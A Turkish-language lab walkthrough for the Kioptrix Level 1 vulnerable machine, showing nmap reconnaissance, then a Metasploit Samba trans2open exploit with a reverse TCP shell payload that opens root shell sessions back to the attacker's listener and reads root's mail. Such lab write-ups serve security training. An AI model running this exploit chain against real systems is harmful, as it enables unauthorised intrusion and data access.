

# KİOPTRİX MAKİNESİ ÇÖZÜMÜ

İlk olarak kali linux makinemize **ifconfig** yazıyoruz. Böylece bulunduğumuz networkin kendi ip miz üzerinden öğreneceğiz.

```
File Actions Edit View Help
(kali@kali)~$ sudo su
[sudo] password for kali:
(root@kali)~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.116.132 netmask 255.255.255.0 broadcast 192.168.116.255
    inet6 fe80::cead:b36c:eac1:ca74 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:f0:d4:ed txqueuelen 1000 (Ethernet)
    RX packets 2 bytes 597 (597.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 22 bytes 3034 (2.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(root@kali)~$
```

Buradan network adresimizin 192.168.116.0 olduğunu öğrendik. Network adresini öğrendikten sonra **nmap** ile network'ü tarıyoruz.

```
(root@kali)~$ nmap -v -sS 192.168.116.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-16 16:13 EDT
Initiating ARP Ping Scan at 16:13
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 16:13, 1.86s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 4 hosts. at 16:13
Completed Parallel DNS resolution of 4 hosts. at 16:13, 0.01s elapsed
Nmap scan report for 192.168.116.0 [host down]
Nmap scan report for 192.168.116.3 [host down]
Nmap scan report for 192.168.116.4 [host down]
Nmap scan report for 192.168.116.5 [host down]
Nmap scan report for 192.168.116.6 [host down]
Nmap scan report for 192.168.116.7 [host down]
Nmap scan report for 192.168.116.8 [host down]
Nmap scan report for 192.168.116.9 [host down]
Nmap scan report for 192.168.116.10 [host down]
Nmap scan report for 192.168.116.11 [host down]
Nmap scan report for 192.168.116.12 [host down]
Nmap scan report for 192.168.116.13 [host down]
Nmap scan report for 192.168.116.14 [host down]
Nmap scan report for 192.168.116.15 [host down]
Nmap scan report for 192.168.116.16 [host down]
Nmap scan report for 192.168.116.17 [host down]
Nmap scan report for 192.168.116.18 [host down]
Nmap scan report for 192.168.116.19 [host down]
Nmap scan report for 192.168.116.20 [host down]
Nmap scan report for 192.168.116.21 [host down]
Nmap scan report for 192.168.116.22 [host down]
```

```
Player
root@kali: /home/kali

File Actions Edit View Help
53/tcp open domain
MAC Address: 00:50:56:FB:AE:99 (VMware)

Nmap scan report for 192.168.116.128
Host is up (0.0021s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
1024/tcp  open  kdm
MAC Address: 00:0C:29:58:10:FE (VMware)

Nmap scan report for 192.168.116.254
Host is up (0.0019s latency).
All 1000 scanned ports on 192.168.116.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:F9:3B:19 (VMware)

Initiating SYN Stealth Scan at 16:13
Scanning 192.168.116.132 [1000 ports]
Completed SYN Stealth Scan at 16:13, 0.11s elapsed (1000 total ports)
Nmap scan report for 192.168.116.132
Host is up (0.000044s latency).
All 1000 scanned ports on 192.168.116.132 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Read data files from: /usr/bin/./share/nmap
Nmap done: 256 IP addresses (5 hosts up) scanned in 8.10 seconds
Raw packets sent: 7514 (322.456KB) | Rcvd: 4014 (164.508KB)

root@kali: /home/kali
```

Burda Kioptrix makinesini ipsini bulmuş olduk. Şimdide bu ip'ye detaylı **nmap** taraması yapalım.

```
File Actions Edit View Help
Host is up (0.00032s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ ssh-hostkey:
|   1024 b8746cdbcfd8be666e92a2bdf5e6f6486 (RSA1)
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_ 1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
|_ http-methods:
|_ Potentially risky methods: TRACE
111/tcp   open  rpcbind      2 (RPC #100000)
|_ rpcinfo:
|   program version    port/proto  service
|   100000  2             111/tcp     rpcbind
|   100000  2             111/udp     rpcbind
|   100024  1             1024/tcp    status
|_ 100024  1             1024/udp    status
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/count
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after: 2010-09-26T09:32:06
|_ ssl-date: 2023-08-16T20:21:28+00:00; +1m50s from scanner time.
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: 400 Bad Request
|_ sslv2:
|   SSLv2 supported
|   ciphers:
|   SSL2_RC4_128_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|   SSL2_DES_64_CBC_WITH_MD5
```

139 portunda samba çalıştırıldığını gördük **nmap** taraması ile. Şimdi **msfconsole** yazıp metasploit'i açtım.

```
(root@kali)~/home/kali]
msfconsole

Metasploit

Metasploit v6.3.16-dev
+ -- 2315 exploits - 1208 auxiliary - 412 post
+ -- 975 payloads - 46 encoders - 11 nops
+ -- 9 evasion

Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Msfconsole geldikten sonra **search samba** yazdım.Şu şekilde bir liste geldi;

```
File Actions Edit View Help

# Name Disclosure Date Rank Check Description
0 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution
1 exploit/windows/license/calliclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow
2 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
3 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource
4 post/linux/gather/enum_configs normal No Linux Gather Configurations
5 auxiliary/scanner/rsync/modules_list normal No List Rsync Modules
6 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution
7 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection
8 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
9 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
10 exploit/linux/samba/setinfo_policy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow
11 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal
12 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State
13 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
14 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
15 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow
16 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow
17 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
18 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
19 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
20 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow
21 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (x86)
22 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)
23 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
24 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)
25 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Samba 6 Search Results Buffer Overflow

Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results

msf6 > use 22
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) >
```

Bu listede 22 numarayı kullanmayı seçtim ve **use 22** yazdım. Çünkü hem linux hemde rankı great olduğu için. Şimdi bir payload seçmezsek kendi seçtiği için **show payloads** yazdım payloadları görmek için.



```
File Actions Edit View Help
msf6 exploit(linux/samba/trans2open) > show payloads

Compatible Payloads

# Name Disclosure Date Rank Check Description
- - - - -
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/ssh/interact normal No Interact with Established SSH Connection
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x86/adduser normal No Linux Add User
7 payload/linux/x86/chmod normal No Linux Chmod
8 payload/linux/x86/exec normal No Linux Execute Command
9 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
10 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
11 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
12 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
13 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
15 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
18 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
19 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
20 payload/linux/x86/read_file normal No Linux Read File
21 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
24 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
25 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
```

Payload listesinden 3 numarayı seçtim. Bunun için msfconsole da **set PAYLOAD 3** yazdım.

```
File Actions Edit View Help
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x86/adduser normal No Linux Add User
7 payload/linux/x86/chmod normal No Linux Chmod
8 payload/linux/x86/exec normal No Linux Execute Command
9 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
10 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
11 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
12 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
13 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
15 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
18 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
19 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
20 payload/linux/x86/read_file normal No Linux Read File
21 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
24 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
25 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
27 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
31 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
32 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
33 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
34 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)

msf6 exploit(linux/samba/trans2open) > set PAYLOAD 3
PAYLOAD => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) >
```

Şimdi payloadı seçtikten sonra yapmamız gerekenleri görmek için **show options** yazdım konsola.

```
File Actions Edit View Help
msf6 exploit(linux/samba/trans2open) > show options
Module options (exploit/linux/samba/trans2open):


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 139             | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  |                 | yes      | The target port (TCP)                                                                                  |


Payload options (generic/shell_reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.116.132 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                     |
|----|--------------------------|
| 0  | Samba 2.2.x - Bruteforce |


View the full module info with the info, or info -d command.
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.116.128
RHOSTS => 192.168.116.128
msf6 exploit(linux/samba/trans2open) > show options
Module options (exploit/linux/samba/trans2open):


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.116.128 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 139             | yes      | The target port (TCP)                                                                                  |


```

RHOSTS kısmı boş oraya Kioptrix makinesinin ipsi olan 192.168.116.128 yazmak için **set RHOSTS 192.168.116.128** yazdım.

```
File Actions Edit View Help
View the full module info with the info, or info -d command.
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.116.128
RHOSTS => 192.168.116.128
msf6 exploit(linux/samba/trans2open) > show options
Module options (exploit/linux/samba/trans2open):


| Name   | Current Setting | Required | Description                                                                                            |
|--------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS | 192.168.116.128 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT  | 139             | yes      | The target port (TCP)                                                                                  |


Payload options (generic/shell_reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.116.132 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name                     |
|----|--------------------------|
| 0  | Samba 2.2.x - Bruteforce |


View the full module info with the info, or info -d command.
msf6 exploit(linux/samba/trans2open) > 
```

Şimdi payloadı çalıştırmak için **run** komutunu yazıyoruz.

```
File Actions Edit View Help
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 192.168.116.132:4444
[*] 192.168.116.128:139 - Trying return address 0xbffffdfc ...
[*] 192.168.116.128:139 - Trying return address 0xbffffcfc ...
[*] 192.168.116.128:139 - Trying return address 0xbffffbfc ...
[*] 192.168.116.128:139 - Trying return address 0xbffffafc ...
[*] 192.168.116.128:139 - Trying return address 0xbffff9fc ...
[*] 192.168.116.128:139 - Trying return address 0xbffff8fc ...
[*] 192.168.116.128:139 - Trying return address 0xbffff7fc ...
[*] 192.168.116.128:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.116.132:4444 → 192.168.116.128:1025) at 2023-08-16 16:44:29 -0400

[*] Command shell session 2 opened (192.168.116.132:4444 → 192.168.116.128:1026) at 2023-08-16 16:44:31 -0400
[*] Command shell session 3 opened (192.168.116.132:4444 → 192.168.116.128:1027) at 2023-08-16 16:44:32 -0400
[*] Command shell session 4 opened (192.168.116.132:4444 → 192.168.116.128:1028) at 2023-08-16 16:44:33 -0400

ls
cd ..
ls
bin
boot
dev
etc
home
initrd
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
```

Payload çalıştı ve makinenin içine girdik. **ls** komutu bulunduğum dosya boş olunca **cd ..** yazıp bir önceki dosyaya geçip **ls** komutu yazdım.

```
File Actions Edit View Help
home
initrd
lib
lost+found
misc
mnt
opt
proc
root
sbin
tmp
usr
var
cd var
ls
arpwatch
cache
db
ftp
lib
local
lock
log
lost+found
mail
nis
opt
preserve
run
spool
tmp
tux
www
yp
```

Şimdi **cd** komutuyla **var** dosyasına girdim.

```
File Actions Edit View Help
proc
root
sbin
tmp
usr
var
cd var
ls
arpwatch
cache
db
ftp
lib
local
lock
log
lost+found
mail
nis
opt
preserve
run
spool
tmp
tux
www
yp
cd mail
ls
harold
john
nfsnobody
root
cat root
From root Sat Sep 26 11:42:10 2009
```

Ondan sonra **cd mail** diyip klasöre girdim. **Cat** komutu ile root dosyasını açtım.

```
File Actions Edit View Help
cat root
From root Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
    for root@kioptrix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptrix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptrix.level1>
To: root@kioptrix.level1
Subject: About Level 2
Status: 0

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy ...

From root Thu Aug 10 04:10:19 2023
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
    by kioptrix.level1 (8.11.6/8.11.6) id 37A8AJW01127
    for root; Thu, 10 Aug 2023 04:10:19 -0400
Date: Thu, 10 Aug 2023 04:10:19 -0400
From: root <root@kioptrix.level1>
Message-Id: <202308100810.37A8AJW01127@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1

##### LogWatch 2.1.1 Begin #####

##### LogWatch End #####

From root Mon Aug 14 12:29:00 2023
```

Ve makineyi çözdük.